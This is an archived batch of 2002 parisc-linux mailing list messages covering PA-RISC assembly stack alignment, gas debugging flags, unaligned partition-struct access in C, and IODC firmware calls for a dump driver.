> (II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),
> 	ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI),
> 	ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (PCI),
> 	ATI Rage 128 Pro PF (AGP), ATI Rage 128 Pro PP (PCI),
> 	ATI Rage 128 Pro PR (PCI), ATI Rage 128 Mobility LE (PCI),
> 	ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),
> 	ATI Rage 128 Mobility ML (AGP)
> (II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
> 	ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
> 	ATI Radeon VE (AGP)
> (II) imstt: driver (version 1.0.0 for IMS TwinTurbo chipsets : imstt128,
> 	imstt3d
> (II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
> (II) v4l driver for Video4Linux
> 	S3VProbe begin
> (EE) No devices detected.
> 
> Fatal server error:
> no screens found
> 
> When reporting a problem related to a server crash, please send
> the full server output, not just the last messages.
> This can be found in the log file "/var/log/XFree86.0.log".
> Please report problems to submit@bugs.debian.org.
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:24:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Will Newton <will@misconception.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64 byte alignment
Date: Sat, 31 Aug 2002 00:43:21 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <E17kvMv-0002G4-00.2002-08-31-00-40-01@cmailg2.svr.pol.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621669 13190 80.91.229.3 (22 Nov 2014 02:01:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 17:40:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cmailg2.svr.pol.co.uk (cmailg2.svr.pol.co.uk [195.92.195.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id C649B4831
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 17:40:02 -0600 (MDT)
Original-Received: from modem-149.brown-bird-wrasse.dialup.pol.co.uk ([62.136.242.149] helo=there)
	by cmailg2.svr.pol.co.uk with smtp (Exim 3.35 #1)
	id 17kvMv-0002G4-00
	for parisc-linux@lists.parisc-linux.org; Sat, 31 Aug 2002 00:40:01 +0100
X-Mailer: KMail [version 1.3.2]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15973

I'm trying to 64 byte align a stack pointer, unfortunately it's not working. 
Here is my code:

        ldi 0x03f,%r21                  ; Load mask (b0111111)
        and,<> %r3,%r21,%r21            ; Check alignment
        addi 64,%r3,%r3                 ; If not aligned round up
        depwi 0x0,31,6,%r3               ; Clear low order bits

Basically the idea is:
 and the low 6 bits with a mask to see if any are set.
 if any are set, add 64 and clear the low order bits

I may be doing something horribly ignorant here, but PA-RISC assembly is not 
the most widely documented of things. :)

Thanks,


From - Thu Nov 08 21:24:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 byte alignment
Date: Fri, 30 Aug 2002 16:57:06 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <20020830235705.GD14634@tausq.org>
References: <E17kvMv-0002G4-00.2002-08-31-00-40-01@cmailg2.svr.pol.co.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621670 13195 80.91.229.3 (22 Nov 2014 02:01:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Will Newton <will@misconception.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 17:55:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88E0F483F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 17:55:36 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 0A6F0CD92F; Fri, 30 Aug 2002 16:57:06 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <E17kvMv-0002G4-00.2002-08-31-00-40-01@cmailg2.svr.pol.co.uk>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15974

> I'm trying to 64 byte align a stack pointer, unfortunately it's not working. 
> Here is my code:
> 
>         ldi 0x03f,%r21                  ; Load mask (b0111111)
>         and,<> %r3,%r21,%r21            ; Check alignment
>         addi 64,%r3,%r3                 ; If not aligned round up
>         depwi 0x0,31,6,%r3               ; Clear low order bits
> 
> Basically the idea is:
>  and the low 6 bits with a mask to see if any are set.
>  if any are set, add 64 and clear the low order bits
> 
> I may be doing something horribly ignorant here, but PA-RISC assembly is not 
> the most widely documented of things. :)

nullification only applies to one instruction. you probably need a
branch there.

as for documentation, the entire intruction set is documented for pa1.1
and 2.0 on the hp web site:

http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,958!1!253,00.html

http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,959,00.html

horrid link names :-(

another good way to do this is to write what you want in C, and tell gcc
to tell you what you want :-)


input: r26, r20 is scratch

        extru %r26,31,6,%r20
        comib,=,n 0,%r20,.L2
        ldo 64(%r26),%r26
        depi 0,31,6,%r26
.L2:
        /* ... */

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Will Newton <will@misconception.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 byte alignment
Date: Sat, 31 Aug 2002 01:10:38 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <E17kwI1-00042z-00.2002-08-31-01-39-02@cmailg2.svr.pol.co.uk>
References: <E17kvMv-0002G4-00.2002-08-31-00-40-01@cmailg2.svr.pol.co.uk> <20020830235705.GD14634@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621670 13198 80.91.229.3 (22 Nov 2014 02:01:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 18:39:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cmailg2.svr.pol.co.uk (cmailg2.svr.pol.co.uk [195.92.195.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77620484B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 18:39:03 -0600 (MDT)
Original-Received: from modem-27.deorwine.dialup.pol.co.uk ([62.136.153.155] helo=there)
	by cmailg2.svr.pol.co.uk with smtp (Exim 3.35 #1)
	id 17kwI1-00042z-00
	for parisc-linux@lists.parisc-linux.org; Sat, 31 Aug 2002 01:39:02 +0100
X-Mailer: KMail [version 1.3.2]
In-Reply-To: <20020830235705.GD14634@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15975

On Saturday 31 Aug 2002 12:57 am, Randolph Chung wrote:

> nullification only applies to one instruction. you probably need a
> branch there.

I know, but I figured clearing the low 6 bits on an already aligned pointer 
would do no damage.

> another good way to do this is to write what you want in C, and tell gcc
> to tell you what you want :-)

Thanks! I trust gcc somewhat more than I do myself at this stage. :)


From - Thu Nov 08 21:24:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 byte alignment
Date: Fri, 30 Aug 2002 21:12:31 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <200208310112.g7V1CVbJ001369@hiauly1.hia.nrc.ca>
References: <20020830235705.GD14634@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621670 13200 80.91.229.3 (22 Nov 2014 02:01:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:10 +0000 (UTC)
Cc: will@misconception.org.uk, parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 19:12:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 501184856
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 19:12:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g7V1CV00001370;
	Fri, 30 Aug 2002 21:12:32 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g7V1CVbJ001369;
	Fri, 30 Aug 2002 21:12:31 -0400 (EDT)
In-Reply-To: <20020830235705.GD14634@tausq.org> from "Randolph Chung" at Aug 30, 2002 04:57:06 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15976

> another good way to do this is to write what you want in C, and tell gcc
> to tell you what you want :-)

GCC aligns its stacks to 64 and 128 byte boundaries for the 32 and 64
bit ports, respectively.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Will Newton <will@misconception.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debugging assembly
Date: Sat, 31 Aug 2002 20:01:00 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <E17lDRZ-00055c-00.2002-08-31-19-58-01@cmailg7.svr.pol.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621670 13203 80.91.229.3 (22 Nov 2014 02:01:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 31 12:58:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cmailg7.svr.pol.co.uk (cmailg7.svr.pol.co.uk [195.92.195.177])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA9A34829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 31 Aug 2002 12:58:03 -0600 (MDT)
Original-Received: from modem-58.draugluin.dialup.pol.co.uk ([62.136.158.58] helo=there)
	by cmailg7.svr.pol.co.uk with smtp (Exim 3.35 #1)
	id 17lDRZ-00055c-00
	for parisc-linux@lists.parisc-linux.org; Sat, 31 Aug 2002 19:58:01 +0100
X-Mailer: KMail [version 1.3.2]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15977

I'm having trouble getting gas to output debugging information for an 
assembly file. as -g gives a warning about -g being ambiguous, as --gdwarf2 
reults in objdump saying "no recognized debugging information", and as 
--gstabs results in stuff like this:

/* file file.S line x addr 0x0000000000000000 */

Any ideas?


From - Thu Nov 08 21:24:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Sat, 31 Aug 2002 21:23:59 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <3D7133EF.90602@freebel.net>
References: <200208301703.g7UH3TqX029540@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621671 13205 80.91.229.3 (22 Nov 2014 02:01:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:11 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 31 14:20:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id EFE6E482F
	for <parisc-linux@lists.parisc-linux.org>; Sat, 31 Aug 2002 14:20:02 -0600 (MDT)
Original-Received: from freebel.net (62.235.68.252) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D3815BD0057E9F9; Sat, 31 Aug 2002 22:13:06 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15978

> 
> Because the initial field of the struct is an unsigned char type,
> the cast to uint32_t is wrong.  The code is making implementation
> dependent assumptions.
> 
Finaly this trial version of function:


BOOLEAN isa_null_partition_record(struct partition *p)
{
      if (p->boot_ind == 0x00 &&
          p->head == 0x00 &&
          p->sector == 0x00 &&
          p->cyl == 0x00 &&
          p->sys_ind == 0x00 &&
          p->end_head == 0x00 &&
          p->end_sector == 0x00 &&
          p->end_cyl == 0x00 &&
          p->start_sect == 0x00 &&
          p->nr_sects == 0x00 )
          return TRUE;
      else
          return FALSE;
}

would be more portable and more easy to read and understand :<)

Thanks again for your help,
	Joel



From - Thu Nov 08 21:24:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Sat, 31 Aug 2002 17:50:15 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20020831235015.C3F8D482A@dsl2.external.hp.com>
References: <200208301703.g7UH3TqX029540@hiauly1.hia.nrc.ca>  <3D7133EF.90602@freebel.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621671 13211 80.91.229.3 (22 Nov 2014 02:01:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:11 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, jsoe0708@tiscali.be,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 31 17:50:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C3F8D482A; Sat, 31 Aug 2002 17:50:15 -0600 (MDT)
In-Reply-To: Message from Joel Soete <joel.soete@freebel.net> 
   of "Sat, 31 Aug 2002 21:23:59 -0000." <3D7133EF.90602@freebel.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15979

Joel Soete wrote:
> Finaly this trial version of function:
> 
> 
> BOOLEAN isa_null_partition_record(struct partition *p)
> {
>       if (p->boot_ind == 0x00 &&
>           p->head == 0x00 &&
>           p->sector == 0x00 &&
>           p->cyl == 0x00 &&
>           p->sys_ind == 0x00 &&
>           p->end_head == 0x00 &&
>           p->end_sector == 0x00 &&
>           p->end_cyl == 0x00 &&
>           p->start_sect == 0x00 &&
>           p->nr_sects == 0x00 )
>           return TRUE;

Since start_sect and nr_sects are ints, this code will also generate an
"unaligned data reference fault" like the original code did. You need
to find the origin of "struct partition *p" when the address is un-aligned.

grant


From - Thu Nov 08 21:24:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] iodc call and HPMC: dump driver.
Date: Mon, 02 Sep 2002 08:12:26 +0200
Organization: H.P
Lines: 63
Approved: news@gmane.org
Message-ID: <3D73014A.15ED96ED@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------C8EBD1BF8147A59EBF9CB289"
X-Trace: ger.gmane.org 1416621671 13218 80.91.229.3 (22 Nov 2014 02:01:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:11 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  2 00:19:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81F694829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Sep 2002 00:19:23 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id F0DD81C1C
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Sep 2002 08:19:17 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id IAA11328 for <parisc-linux@lists.parisc-linux.org>; Mon, 2 Sep 2002 08:17:49 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15980

This is a multi-part message in MIME format.
--------------C8EBD1BF8147A59EBF9CB289
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi all.
Do you know a guy who is a guru of iodc calls ?
I'm still stuck with this. I think I was really near the
solution. Now my iodc call create beatifull HPMC.
Take a look to this call, I was thinking that it
was all right, but there is still something wrong.
now i'm able to retrieve hpa,
I based this on palo code:

ret =  real32_call(PAGE0->mem_boot.iodc_io, (unsigned long)PAGE0->mem_boot.hpa, DUMPDEV_WRITE,
  PAGE0->mem_boot.spa, __pa(PAGE0->mem_boot.dp.layers), __pa(pdc_result), devaddr, __pa(iodc_dbuf), 2048);

DUMPDEV_WRITE = 1
static unsigned long pdc_result[32] __attribute__ ((aligned (8))); 
static char __attribute__((aligned(64))) iodc_dbuf[DUMP_PAGE_SZ];

and devaddr=191889408

Disk /dev/sda: 64 heads, 32 sectors, 17366 cylinders
Units = cylinders of 2048 * 512 bytes

/dev/sda1   *         1        61     62448   f0  Linux/PA-RISC boot
/dev/sda2            62       183    124928   83  Linux
/dev/sda3           184      1648   1500160   82  Linux swap
/dev/sda4          1649     17366  16095232    5  Extended
/dev/sda5          1649      5554   3999728   83  Linux
/dev/sda6          5555      9460   3999728   82  Linux swap
/dev/sda7          9461     13366   3999728   83  Linux
/dev/sda8         13367     17366   4095984   83  Linux

Do you know someone who is well aware of iodc calls ?
I want to discuss a bit about this.

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------C8EBD1BF8147A59EBF9CB289
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------C8EBD1BF8147A59EBF9CB289--



From - Thu Nov 08 21:24:22 2018
X-Mozilla-Status: 0011
